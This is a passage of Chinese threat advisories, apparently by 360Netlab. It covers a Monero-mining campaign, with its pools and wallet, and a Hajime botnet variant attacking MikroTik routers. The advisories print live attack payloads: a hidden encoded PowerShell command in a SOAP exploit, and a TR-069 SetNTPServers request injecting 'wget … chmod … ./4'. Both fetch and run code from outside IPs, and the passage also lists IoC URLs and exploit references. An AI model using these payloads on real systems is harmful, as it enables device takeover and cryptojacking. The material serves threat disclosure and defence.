      <string>START PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBDAGEAcAB0AGkAbwBuADsAJABXAEMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAVwBDAC4ASABlAGEAZABlAHIAcwAuAEEAZA****************ByAC0AQQBnAGUAbgB0ACcALAAiAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2ADIALgAwACAAJABPAFMAIgApADsASQBFAFgAIAAkAFcAQwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADIAMwAuADUAOQAuADYAOAAuADEANwAyAC8AQwBhAGMAaABlAC8ARABMAC4AcABoAHAAJwApADsA</string>
    </void>
  </array>
    <void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>



获利方式


挖矿


 * 矿池：一组，包括
   
   * pool.minexmr.com
   * sg.minexmr.com
   * ca.minexmr.com
   * fr.minexmr.com
   * de.minexmr.com
   * pool.supportxmr.com
   
 * 钱包地址：43ZSpXdMerQGerimDrUviDN6qP3vkwnkZY1vvzTV22AbLW1oCCBDstNjXqrT3anyZ22j7DEE74GkbVcQFyH2nNiC3fchGfc


逃避手段


DL.php 的下载，需要指定useragent


联系我们


感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。
安全威胁预警：Hajime 新版本开始攻击 MikroTik.RouterOS

IoC


部分下载URL如下，完整列表可以从 这里 下载


2018-03-26T10:30:00	hxxp://43.252.221.104:2722/4
2018-03-26T10:30:00	hxxp://43.252.221.104:2722/4
2018-03-26T10:30:00	hxxp://82.9.128.142:31735/4
2018-03-26T10:30:00	hxxp://82.9.128.142:31735/4
2018-03-26T11:30:00	hxxp://109.185.142.251:1714/4
2018-03-26T11:30:00	hxxp://109.185.142.251:1714/4
2018-03-26T11:30:00	hxxp://113.130.234.9:8728/4
2018-03-26T11:30:00	hxxp://113.130.234.9:8728/4
2018-03-26T11:30:00	hxxp://93.117.79.49:11826/4
2018-03-26T11:30:00	hxxp://93.117.79.49:11826/4



规模统计


但钱在扫描


 * 扫描规模 13.5k/24小时 8291 端口，按照独立来源IP地址计算，


所属家族


属于 hajime


 * hajime的背景情况，见我们之前的文章和统计页面
 * 漏洞利用在老的hajime 版本里就集成了，现在是用这个老漏洞重新开始扫描这些端口
 * 扫描端口 TCP:7547,TCP:80,TCP:8080,TCP:8081,TCP:8082,TCP:81,TCP:82
 * 王辉：我看到传这个样本的ip一共有243个， 这些ip绝大部分之前都没看到任何扫描活动，都是今天开始扫8291, 23 81 82 8181 8082 8089 这些端口的
 * 曲文集： 80,81,82,8080,8081,8082,8089,8181,8880,8291,7547,5555
 * 曲文集： 23,5358（telnet crack)


投入方式


漏洞利用：


 * MikroTik RouterOS < 6.38.4 (MIPSBE) - 'Chimay Red' Stack Clash Remote Code Execution
   
   * https://www.exploit-db.com/exploits/44284/
   
 * MikroTik RouterOS < 6.38.4 (x86) - 'Chimay Red' Stack Clash Remote Code Execution
   
   * https://www.exploit-db.com/exploits/44284/
   


示例攻击payload如下：


POST /UD/act?1 HTTP/1.1
Host: ***.***.***.***:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7
Content-Length: 517
Content-Type: text/xml
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers

<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body>  <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://92.115.163.126:13218/4;chmod 777 4;./4`</NewNTPServer1><NewNTPServer2></NewNTPServer2><NewNTPServer3></NewNTPServer3><NewNTPServer4></NewNTPServer4><NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>



获利方式


当前在扫描 8291 端口

无，hajime 家族历史上不寻求获利


逃避手段


加壳，UPX壳，符合 hajime 历史习惯

本次恶意代码更改了UPX壳的幻数


联系我们


感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。